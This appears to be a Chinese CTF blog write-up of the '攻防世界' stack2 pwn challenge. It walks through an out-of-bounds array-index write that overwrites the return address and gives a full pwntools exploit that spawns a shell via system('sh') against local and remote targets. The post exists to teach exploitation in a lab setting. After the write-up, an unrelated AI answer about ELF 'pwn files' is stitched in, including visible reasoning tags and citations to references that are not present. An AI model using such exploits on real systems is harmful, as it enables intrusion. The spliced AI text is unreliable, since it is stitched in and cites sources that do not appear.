《攻防世界》stack2逻辑漏洞题

到了进阶题目越来越好玩了,发现解出来一道题有解数学那味了

嗯,拿到题目一看逻辑题,做题刚打完比赛(第一次)被逆向和pwn的逻辑题给整怕了,这次遇到这种题目,我选择硬刚!

首先读懂题目的内在逻辑,并关注常见的pwn漏洞,首先一步步分析

在这里插入图片描述

这里有个循环100次接收输入,全局的看了下都是在对buf操作,先标志一手,但是这里无法产生溢出,那么看下面

在这里插入图片描述

首先看到for里面初始化j = v5 ,那么这个j也就是我们可控的标记一下,然后就是死循环,每次循环后调用一次printf

select1就是显示所有值、select2添加值,select3修改值、select4打印所有累加值、select其他就是完美避开所有判断break跳出所有循环

嗯,分析之后大概的试了下程序,突破口在于这个for循环中的j,可以看到select1中就是打印出我想要看到的长度数值

在这里插入图片描述

那么第一次输入的时候就可以直接尝试输入一个很大的值,然后select1看看打印的值,

num  = 0x70+0x4 + (0x4 *4)
sla('\n',str(num))
#输入的100个数
for i in range(0,100):
 sl('1')
sl('1')#显示数据是否正确

在这里插入图片描述

因为我输入的长度是大于缓冲区的所以打印出了多余的,那么再来看看栈空间是否数值匹配

在这里插入图片描述

果然没错刚好对应栈空间数据,那么我们回到ida中,因为select2对数据进行判断我们不能添加成功99个之后的数,但是select3却可以,所以我们只要找到数组中对应的索引对齐单个修改就可以修改成我们想要的地址了,为了后面的方便我提取了个方法

def send(index,data):
 sl('3') #逐个进行修改ret地址
 sl(str(index))
 sl(str(ord(data)))

最后将栈空间对应的索引,和要修改的拼接地址传入进来,ok!payload如下:

backdoor = 0x804859B  #这个好像用不了
data = p32(backdoor)
send(num,data[0:-3])
send(num+1,data[1:-2])
send(num+2,data[2:-1])
send(num+3,data[3:])

因为程序提供了后门函数,所以最后直接运行程序,本地跑通了,但是远程却失败了,报了个找不到bash的错误,嗯!,没关系,刚好程序提供了System函数和sh字符(需要解析),那么自己搭个桥就是了

syst_addr = 0x8048450
bin_sh = 0x08048980 +7 #刚好取到sh(这是个小技巧,可以记下笔记)

然后再按之前的方法在后门进行拼接进去我们的参数,嗯,但是程序依旧报错,我还gdb看了栈空间,确实进入了system函数,但是没多久就奔溃了,然后我想到了之前做64位的栈空间对齐问题,果断试着添加一个返回地址已填充栈空间所需数据,最终payload,可以正常拿到sh

from pwn import *
context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h'])

local = 1
binary_name = "stack2"
ip = "111.200.241.244"
port = 64664

if local:
        p = process(["./" + binary_name])
        e = ELF("./" + binary_name)
else:
        p = remote(ip, port)
        e = ELF("./" + binary_name)

def z(a=''):
        if local:
                gdb.attach(p, a)
                if a == '':
                        raw_input()
        else:
                pass

ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

backdoor = 0x804859B  #这个好像用不了
syst_addr = 0x8048450
main_addr = 0x080485D0

z('b *0x80488EB')

num  = 0x70+0x4 + (0x4 *4)
bin_sh = 0x08048980 +7 #刚好取到sh
sla('\n',str(num))

#输入的100个数
for i in range(0,100):
 sl('1')
sl('1')#显示数据是否正确
data = p32(syst_addr)
data_sh = p32(bin_sh)
data_main = p32(main_addr)
success('backdoor addr -> 0x%s',data)
success('backdoor addr -> %d',ord(data[3:]))
success('backdoor addr -> %d',ord(data[2:-1]))
success('backdoor addr -> %d',ord(data[1:-2]))
success('backdoor addr -> %d',ord(data[0:-3]))

def send(index,data):
 sl('3') #逐个进行修改ret地址
 sl(str(index))
 sl(str(ord(data)))

send(num,data[0:-3])
send(num+1,data[1:-2])
send(num+2,data[2:-1])
send(num+3,data[3:])

send(num+4,data_main[0:-3])
send(num+5,data_main[1:-2])
send(num+6,data_main[2:-1])
send(num+7,data_main[3:])

send(num+8,data_sh[0:-3])
send(num+9,data_sh[1:-2])
send(num+10,data_sh[2:-1])
send(num+11,data_sh[3:])
sl('5')

p.interactive()

做完这题看wp后发现大佬都是一点点代码就跑出来了,和我的代码有点不一样,但思路是一样的,我这个是完全按照我做题思路一步步写出来的,所以没有经过简化,也算是一套思路过程吧,现在做题每次做到了最后获取shell的时候,都会有个栈数据填充问题,不知道是不是该考虑下我的环境问题,每次手动调栈数据好费时间啊

<think>好的,我现在需要回答用户关于pwn文件的类型、用途和格式的问。根据用户提供的引用资料,我需要先理解这些引用中的相关内容,然后结合自己的知识进行整理。 首先,用户提到了三个引用。引用[1]和[2]都涉及ELF文件的结构和定义,而引用[3]提到了与pwn相关的一些操作,比如open、read、write。但用户的问是关于pwn文件的类型、用途和格式,所以可能需要明确pwn文件是否特指某种类型的文件,或者是否与ELF文件有关。 根据我的了解,“pwn”在网络安全领域通常指代攻防技术,尤其是在CTF比赛中,pwn题目通常涉及二进制漏洞利用。这类题目通常会提供可执行文件(如ELF文件),参赛者需要分析并利用其中的漏洞。因此,pwn文件可能指的是这些可执行文件,尤其是ELF格式的文件。 接下来,我需要确认用户提到的引用内容是否支持这一点。引用[1]和[2]详细描述了ELF文件的结构,包括不同的节类型(如代码段、数据段)和其用途。引用[3]则提到了文件操作的流程,这可能与处理pwn题目的过程相关,比如读取文件内容、写入输出等。 因此,可以推断pwn文件通常是ELF格式的可执行文件,用于二进制漏洞利用挑战。需要将这些信息结构化,并确保回答符合用户的要求,如使用正确的LaTeX格式,生成相关问,并正确引用来源。 在回答过程中,需要注意以下几点: 1. 明确pwn文件的类型是ELF格式。 2. 说明其用途主要在CTF比赛和二进制漏洞利用。 3. 描述ELF文件的结构,如节类型和段。 4. 引用相关引用来支持结论。 然后,生成的相关问需要围绕pwn文件的分析、漏洞利用方法以及ELF结构展开,确保问具有针对性和延伸性。 最后,检查LaTeX格式是否正确,所有数学表达式和独立公式都正确使用$和$$符号,并且回答结构清晰,引用标识正确放置。</think>### pwn文件的类型、用途及格式解析 #### 1. 文件类型 在网络安全领域(尤其是CTF竞赛中),**pwn文件**通常指代**ELF(Executable and Linkable Format)文件**。ELF是类Unix系统(如Linux)中用于可执行程序、目标文件和共享库的标准格式[^2]。其类型可通过节(Section)和段(Segment)区分: - **代码段(.text)**:存储可执行指令。 - **数据段(.data、.bss)**:存储全局变量和静态变量。 - **符号表(.symtab)**:记录函数和变量符号信息[^1]。 #### 2. 主要用途 pwn文件的核心用途是**二进制漏洞利用**,常见于以下场景: - **CTF竞赛**:参赛者需通过逆向分析或动态调试,发现缓冲区溢出、格式化字符串等漏洞,构造攻击载荷(Payload)获取系统权限。 - **安全研究**:模拟真实环境中的漏洞利用,验证补丁有效性或攻击手法。 - **渗透测试**:评估系统安全性时,测试二进制程序的抗攻击能力。 #### 3. 文件格式 ELF文件的结构分为两部分: 1. **节(Section)**:用于编译和链接阶段,如`.text`、`.data`、`.plt`(过程链接表)等。 2. **段(Segment)**:用于程序加载执行,如代码段(LOAD)、动态链接信息(INTERP)等。 例如,漏洞利用常关注以下结构: - **全局偏移表(.got)**:存储外部函数地址,可被篡改以劫持程序流。 - **栈(Stack)**:通过溢出覆盖返回地址,控制执行流程。 #### 4. 典型操作示例 引用[3]中的代码片段展示了pwn题目中常见的文件操作逻辑: ```c open('文件名', 0, 0); read(文件描述符, 缓冲区, 读取大小); write(1, 缓冲区, 写大小); ``` 此类代码可能因未检查输入长度导致栈溢出漏洞,攻击者可利用其注入恶意代码[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值